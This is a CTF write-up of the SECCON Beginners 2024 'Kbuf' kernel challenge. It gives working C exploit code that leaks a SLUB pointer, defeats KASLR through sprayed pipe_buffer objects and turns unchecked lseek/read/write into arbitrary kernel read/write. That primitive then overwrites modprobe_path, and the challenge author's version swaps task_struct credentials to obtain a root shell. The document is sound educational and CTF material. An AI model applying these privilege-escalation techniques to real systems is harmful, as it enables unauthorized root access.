Kbuf is a Linux kernel exploitation challenge from SECCON Beginners CTF 2024. The module is tiny: every open() allocates a 0x800-byte buffer, and the device exposes read, write, and lseek handlers.
I initially tried to turn two file descriptors into a use-after-free primitive, but each open() owns a different allocation, and closing a descriptor makes that descriptor unusable. The useful bug is simpler: the driver trusts f_pos without checking whether it still points inside the 0x800-byte object.
The chain reached was:
unchecked read at offset 0
|
v
stale SLUB next pointer at +0x400 (half of 0x800)
|
v
address of fd2->private_data
|
v
resize and fill pipes so pipe_buffer[] uses kmalloc-2k
|
v
fd1 + 0x1000 reaches an adjacent pipe ring
|
v
leak anon_pipe_buf_ops at pipe_buffer + 0x10
|
v
calculate the KASLR base
|
v
known private_data + attacker-controlled f_pos
|
v
direct kernel read/write primitive
|
v
overwrite modprobe_path with /tmp/x
|
v
trigger the helper and print the flag
The final PoC overwrites modprobe_path, triggers the kernel helper with an invalid executable, and prints the flag from /tmp/flag.
If this is your first time looking at SLUB objects, my earlier Linux kernel heap overflow write-up covers the allocator terminology and basic slab layout.
Challenge setup
The supplied Qemu runs Linux 6.8.7 with KASLR, SMEP, SMAP, and PTI enabled:
console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr
-cpu qemu64,+smap,+smep
The module creates this cache:
#define MEMO_SIZE 0x800
kbuf_cache = kmem_cache_create(
"kbuf_cache",
MEMO_SIZE,
0,
SLAB_HWCACHE_ALIGN,
NULL
);
GEF showed the relevant runtime layout as 0x800-byte kmalloc-2k chunks, with the freelist pointer stored at object offset 0x400:
object size: 0x800
chunk size: 0x800
freelist pointer inside chunk: 0x400
That +0x400 offset becomes the first leak.
The driver bug
Every open() allocates one object and stores it in the new file's private_data:
static int module_open(struct inode *inode, struct file *filp) {
filp->private_data = kmem_cache_alloc(kbuf_cache, GFP_KERNEL);
return filp->private_data ? 0 : -ENOMEM;
}
Two independent calls therefore produce two file objects and two kernel buffers:
fd1 -> struct file A -> private_data A
fd2 -> struct file B -> private_data B
The read handler never checks size, *pos, or *pos + size against MEMO_SIZE:
static ssize_t module_read(struct file *filp,
char __user *buf,
size_t size,
loff_t *pos) {
if (copy_to_user(buf, filp->private_data + *pos, size))
return -EINVAL;
*pos += size;
return size;
}
The write handler has the same problem in the other direction:
static ssize_t module_write(struct file *filp,
const char __user *buf,
size_t size,
loff_t *pos) {
if (copy_from_user(filp->private_data + *pos, buf, size))
return -EINVAL;
*pos += size;
return size;
}
Finally, lseek accepts the requested position without checking its range:
static loff_t module_lseek(struct file *filp,
loff_t offset,
int orig) {
loff_t new_pos = 0;
switch (orig) {
case 0:
new_pos = offset;
break;
case 1:
new_pos = filp->f_pos + offset;
break;
case 2:
new_pos = MEMO_SIZE + offset;
break;
}
return filp->f_pos = new_pos;
}
The important expression appears in both data paths:
kernel address used by read/write = filp->private_data + filp->f_pos
Once both values on the right are known or controlled, the 0x800-byte boundary no longer matters.
File offsets are part of the primitive
read() and write() share the same offset in a given struct file. Both handlers advance it by the requested size.
Starting from a fresh descriptor:
operation accessed range f_pos afterward
------------------------- ------------------- ---------------
write(fd, buf, 0x100) [0x000, 0x100) 0x100
read(fd, buf, 0x100) [0x100, 0x200) 0x200
lseek(fd, 0, SEEK_SET) no memory access 0x000
read(fd, buf, 0x100) [0x000, 0x100) 0x100
This tripped me up at first. Writing 0x100 bytes and immediately reading does not read those bytes back. The read starts at +0x100. lseek() changes the cursor; the following read or write performs the actual memory access.
Each separate open() gets its own f_pos, so moving fd1 does not move fd2.
Leaking the next SLUB object
A SLUB freelist can be pictured as:
freelist head
|
v
object A --next--> object B --next--> object C
+0x400 +0x400
Allocation removes the head but does not clear the old next pointer:
open fd1 returns A
freelist head -> B -> C
A + 0x400 still contains B
open fd2 returns B
freelist head -> C
A + 0x400 still contains B
The PoC opens twice, writes a small tag into fd2, and reads the untouched first object:
int fd1 = open(DEV, O_RDWR);
int fd2 = open(DEV, O_RDWR);
char tag[0x10] = "this_is_fd2";
write(fd2, tag, sizeof(tag));
read(fd1, buf, sizeof(buf));
uint64_t next = *(uint64_t*)&buf[0x400];
dump_buffer(buf, sizeof(buf));
printf("next is: 0x%llx\n", next);
The relevant output was:
Addr[128, 0x400]: 0xffff88800257b000 - 0x0000000000000000
next is: 0xffff88800257b000
The result is a direct-map heap pointer. In this allocation order it is the stale next pointer from object A, and object B was returned by the second open():
fd1->private_data = A
fd2->private_data = B = 0xffff88800257b000
This is a heap address leak, not a kernel-text leak. A 0xffff888... address tells me where an allocation lives in the direct map. It does not by itself reveal the randomized 0xffffffff... kernel image.
The current PoC writes the this_is_fd2 tag but does not read it back. For a less assumption-heavy exploit, I would verify that fd1 + 0x800 contains the tag before using the leaked value as fd2->private_data.
Making pipe_buffer land in kmalloc-2k
The next missing value is a pointer into the randomized kernel image. An initialized anonymous pipe_buffer contains one at offset +0x10:
struct pipe_buffer {
struct page *page; // +0x00
unsigned int offset; // +0x08
unsigned int len; // +0x0c
const struct pipe_buf_operations *ops; // +0x10
unsigned int flags; // +0x18
unsigned long private; // +0x20
}; // 0x28 bytes
I used F_SETPIPE_SZ to make the ring allocation fit a 0x800-byte SLUB chunk. The capacity passed to F_SETPIPE_SZ is pipe data capacity, not the allocation size of the metadata array.
The calculation is:
requested pipe capacity = 0x800 * 0x40 = 0x20000 bytes
pipe pages = 0x20000 / 0x1000 = 32
pipe_buffer array = 32 * 0x28 = 0x500 bytes
SLUB cache used = kmalloc-2k, chunk size 0x800
The current spray is:
#define PAGESZ 0x1000
#define TARGET_SZ 0x800
#define MAX_PIPES 0x400
char marker[PAGESZ] = {0};
int pipes[MAX_PIPES][2];
for (int i = 0; i < MAX_PIPES/2; i++) {
pipe(pipes[i]);
fcntl(pipes[i][0], F_SETPIPE_SZ, TARGET_SZ * 0x40);
*((uint64_t*)&marker) = i;
write(pipes[i][1], &marker, PAGESZ);
}
Writing one page initializes the first ring entry. The page data contains the marker, while the ring metadata contains the page, len, ops, and flags fields I want to leak.
Reading the sprayed pipe ring
After the initial 0x800-byte read, fd1.f_pos is already 0x800. I explicitly seek to 0x1000, skipping both driver buffers and reading the next 0x800-byte object:
lseek(fd1, 0x1000, SEEK_SET);
read(fd1, buf, sizeof(buf));
dump_buffer(buf, sizeof(buf));
The observed memory map is:
A = fd1->private_data
B = fd2->private_data
A + 0x000 [ fd1 kbuf object ]
A + 0x800 [ fd2 kbuf object ] = B
A + 0x1000 [ pipe_buffer[] spray ] = B + 0x800
The first 0x20 bytes were:
+0x00 0xffffea00000f92c0
+0x08 0x0000100000000000
+0x10 0xffffffff81c1b080
+0x18 0x0000000000000010
They decode cleanly as one anonymous pipe buffer:
| Offset | Value | Meaning |
|---|---|---|
+0x00 | 0xffffea00000f92c0 | struct page * |
+0x08 | 0x0000100000000000 | offset = 0, len = 0x1000 |
+0x10 | 0xffffffff81c1b080 | anon_pipe_buf_ops |
+0x18 | 0x10 | Pipe-buffer flags |
Pipes are only the leak object here. I am not doing a Dirty Pipe page-cache overwrite. For that separate technique, see Through the Wall: a kernel UAF turned into a Dirty Pipe-style write.
Calculating the KASLR base
The leaked operations pointer is:
anon_pipe_buf_ops = 0xffffffff81c1b080
For this exact challenge kernel, its offset from the image base is 0xc1b080. The PoC calculates:
uint64_t kbase = *(uint64_t*)&buf[0x10] - 0xc1b080;
printf("kbase = 0x%llx\n", kbase);
The result was:
kbase = 0xffffffff81000000
At this point the two address problems are solved:
known heap base: fd2->private_data = 0xffff88800257b000
known image base: kernel base = 0xffffffff81000000
Turning lseek into arbitrary kernel read/write
The tempting route here is to close fd2, corrupt the freed object's next pointer, and perform SLUB freelist poisoning. That works as a general exploitation pattern, and I used it in K-Revenge: kernel UAF and freelist poisoning. It is unnecessary for Kbuf.
The missing bounds checks in the driver's lseek, read, and write handlers already provide a stronger primitive. The important detail is that lseek() does not move a pointer inside the allocated object. It changes filp->f_pos, the position stored in the struct file belonging to fd2:
static loff_t module_lseek(struct file *filp, loff_t offset, int orig) {
// SEEK_SET
new_pos = offset;
return filp->f_pos = new_pos;
}
The next read() or write() receives that position through *pos. Both handlers add it directly to private_data without checking whether the result remains inside the 0x800-byte allocation:
copy_to_user(buf, filp->private_data + *pos, size); // read
copy_from_user(filp->private_data + *pos, buf, size); // write
That gives the following address calculation:
fd2.f_pos
│
▼
fd2->private_data + attacker-controlled offset = address accessed
0xffff88800257b000 + 0x0000777f7fb3dd80 = 0xffffffff820b8d80
└──── leaked base ────┘ └── set by lseek ──┘ └──── target ────┘
This is initially a relative read/write primitive: I control the offset, but the driver adds it to an unknown heap pointer. The stale freelist-pointer leak turns it into an absolute primitive because it reveals the exact value of fd2->private_data.
For a known target, I subtract the leaked base from the target address:
target = kernel_base + symbol_offset
delta = target - leaked_private_data
leaked_private_data + delta = target
Then SEEK_SET installs that delta as the file position. The next operation becomes either:
read(fd2, ...) -> copy_to_user(..., target, size) -> kernel read
write(fd2, ...) -> copy_from_user(target, ..., size) -> kernel write
The exploit performs the calculation like this:
uint64_t modprobe_path = kbase + 0x010b8d80;
printf("modprobe_path = 0x%llx\n", modprobe_path);
off_t space = (off_t)(modprobe_path - next);
printf("offset is 0x%llx\n", space);
For the successful run:
fd2 private_data = 0xffff88800257b000
modprobe_path = 0xffffffff820b8d80
space = 0x0000777f7fb3dd80
0xffff88800257b000 + 0x777f7fb3dd80
= 0xffffffff820b8d80
So lseek() is the address-selection step, not the memory-corruption step. The vulnerable read() or write() performs the actual access. This primitive also has a practical constraint: the required delta must be accepted as an off_t. Here the target is above the leaked heap address, so the delta is positive and works directly.
One more detail matters when using the primitive repeatedly: a successful read() or write() increments f_pos by size. Seeking once, reading 0x20 bytes, and then writing would place the write 0x20 bytes after the intended target. I therefore seek back to the calculated delta before every independent access.
Verifying and overwriting modprobe_path
Before writing, the exploit reads the target and checks what is there:
char oldpath[0x20] = {0};
char newpath[] = "/tmp/x\x00";
assert(lseek(fd2, space, SEEK_SET) != (off_t)-1);
assert(read(fd2, oldpath, sizeof(oldpath) - 1) > 0);
printf("old modprobe_path: %s\n", oldpath);
The output is /sbin/modprobe. That validates the kernel base, modprobe_path offset, leaked fd2 address, and subtraction before corrupting anything.
The verification read advances fd2.f_pos by 0x1f bytes, so the exploit seeks back to the same absolute offset before writing:
assert(lseek(fd2, space, SEEK_SET) != (off_t)-1);
assert(write(fd2, newpath, sizeof(newpath) - 1) > 0);
newpath contains an explicit NUL and sizeof(newpath) - 1 writes exactly /tmp/x\0. Inside the driver, that call becomes:
copy_from_user(fd2->private_data + space, "/tmp/x\0", 7)
copy_from_user(modprobe_path, "/tmp/x\0", 7)
The helper-script setup and module-request mechanism are explained separately in Overwriting modprobe_path for Linux kernel exploitation. This exploit creates /tmp/x and an invalid executable in setup():
void setup(){
FILE *f = fopen("/tmp/x", "w");
fprintf(f, "#!/bin/sh\n");
fprintf(f, "echo 'cat /dev/sda > /tmp/flag' >> /tmp/x\n");
fprintf(f, "cat /tmp/flag");
fclose(f);
chmod("/tmp/x", 0755);
f = fopen("/tmp/execthis", "wb");
char magic[] = {0xff, 0xff, 0xff, 0xff};
fwrite(magic, 1, 4, f);
fclose(f);
chmod("/tmp/execthis", 0755);
}
The helper is a slightly odd self-appending script, but this is the code in the working exp.c. After changing modprobe_path, the exploit executes the invalid file and prints the captured flag:
system("/tmp/execthis");
system("cat /tmp/flag");
The successful run was:
FD limit: 4096
next is: 0xffff88800257b000
kbase = 0xffffffff81000000
modprobe_path = 0xffffffff820b8d80
offset is 0x777f7fb3dd80
old modprobe_path: /sbin/modprobe
/tmp/execthis: line 1: ????: not found
ctf4b{*** REDACTED ***}

The distinction from freelist poisoning is worth keeping straight:
freelist poisoning:
allocator metadata receives an 8-byte target address
a later allocation is redirected to that address
Kbuf's direct lseek primitive:
live fd2 remains open
f_pos selects the target address immediately
write() places "/tmp/x\0" there
No UAF, fake operations table, ROP chain, or Dirty Pipe page-cache trick is needed.
The author solution: scan task_struct and steal cred
The author took the unchecked file offset even further. My exploit leaks an absolute heap address and a kernel-image pointer before targeting modprobe_path. The author never needs either address.
Had a hard time understanding this solution as I've never done it this way so trying to explain it as good as possible:
The reason is easy to miss: offsets passed to this driver are already relative to filp->private_data.
read source = kbuf private_data + f_pos
The author gives the attacking process a known eight-byte comm value and creates children on both sides of the kbuf allocation:
#define MY_NAME "SECCON!!"
#define N_SPRAY 10
prctl(PR_SET_NAME, MY_NAME, 0, 0, 0);
spray_n_task(N_SPRAY);
int fd = open("/dev/kbuf", O_RDWR);
if (fd < 0) fatal("/dev/kbuf");
spray_n_task(N_SPRAY);
The children inherit the SECCON!! task name. They wait on a lock file, which keeps the sprayed tasks alive while the parent scans memory:
void spray_n_task(size_t n) {
for (size_t i = 0; i < n; i++) {
if (fork() == 0) {
while (access(LOCK_PATH, O_RDONLY) == 0) {
sleep(1);
}
if (getuid() == 0) {
puts("[+] I got rooted!");
system("/bin/sh");
}
exit(0);
}
}
}
Finding task_struct by its comm field
The scanner moves forward in 0x1000-byte steps. Every read() is out-of-bounds because the original allocation is only 0x800 bytes:
void find_task_struct(int fd, size_t magic, size_t *ptask, size_t *pcred) {
char buf[0x1000];
size_t offset;
for (offset = 0; ; offset += sizeof(buf)) {
lseek(fd, offset, SEEK_SET);
if (read(fd, buf, sizeof(buf)) != sizeof(buf)) continue;
for (size_t j = 0; j < sizeof(buf); j += 0x10) {
if (*(size_t*)(buf + j) == magic) {
if (ptask) *ptask = offset + j - 0x5e0;
if (pcred) *pcred = *(size_t*)(buf + j - 0x10);
return;
}
}
}
}
For this kernel's task_struct layout:
task_struct + 0x5d0 real_cred
task_struct + 0x5d8 cred
task_struct + 0x5e0 comm[16]
When the scanner finds SECCON!! at offset + j, it subtracts 0x5e0:
my_task = offset + j - 0x5e0
my_task is not an absolute kernel pointer. It is the displacement from fd->private_data to the discovered task_struct. That is exactly the unit expected by the vulnerable llseek handler.
The author then searches for a root-owned task whose comm begins with S99ctf:
#define ROOT_NAME "S99ctf\0\0"
find_task_struct(fd, *(size_t*)MY_NAME, &my_task, NULL);
find_task_struct(fd, *(size_t*)ROOT_NAME, &root_task, &root_cred);
At a matching comm, buf + j - 0x10 is task_struct + 0x5d0, the root task's real_cred pointer. Unlike my_task, root_cred is an actual kernel address read from memory. The author checks its high bits before using it:
if ((root_cred >> 48) != 0xffff) {
puts("[-] Bad luck!");
exit(1);
}
Replacing both credential pointers
The final write is only 16 bytes:
lseek(fd, my_task + 0x5d0, SEEK_SET);
write(fd, &root_cred, sizeof(root_cred)); // real_cred
write(fd, &root_cred, sizeof(root_cred)); // cred
The first write places the root pointer at real_cred and advances f_pos by eight. The second write therefore lands on cred automatically:
f_pos = my_task + 0x5d0
write root_cred -> task_struct.real_cred
f_pos = my_task + 0x5d8
write root_cred -> task_struct.cred
One of the sprayed children now uses the root credential object. Removing the lock wakes every child, and the modified one sees getuid() == 0 and starts a shell:
puts("[+] Win!");
unlink(LOCK_PATH);
for (int i = 0; i < N_SPRAY * 2; i++) {
wait(NULL);
}
Comparing both routes
| Problem | My exploit | Author solution |
|---|---|---|
| Find the kbuf address | Leak stale SLUB metadata at +0x400 | Not needed |
| Defeat KASLR | Leak anon_pipe_buf_ops | Not needed |
| Find a target | Calculate modprobe_path from the image base | Scan for known task_struct.comm strings |
| Gain privilege | Change modprobe_path and trigger /tmp/x | Point real_cred and cred at a root credential object |
| Heap shaping | 512 resized pipe rings | 20 waiting child tasks |
| Version-specific data | Two symbol offsets | Three task_struct field offsets and a known root task name |
The author solution is shorter because it stays in the driver's relative-offset world. My route first converts that bug into conventional absolute heap and kernel-image leaks. Both end at the same primitive: unchecked f_pos turns a normal device write into a write somewhere else in kernel memory.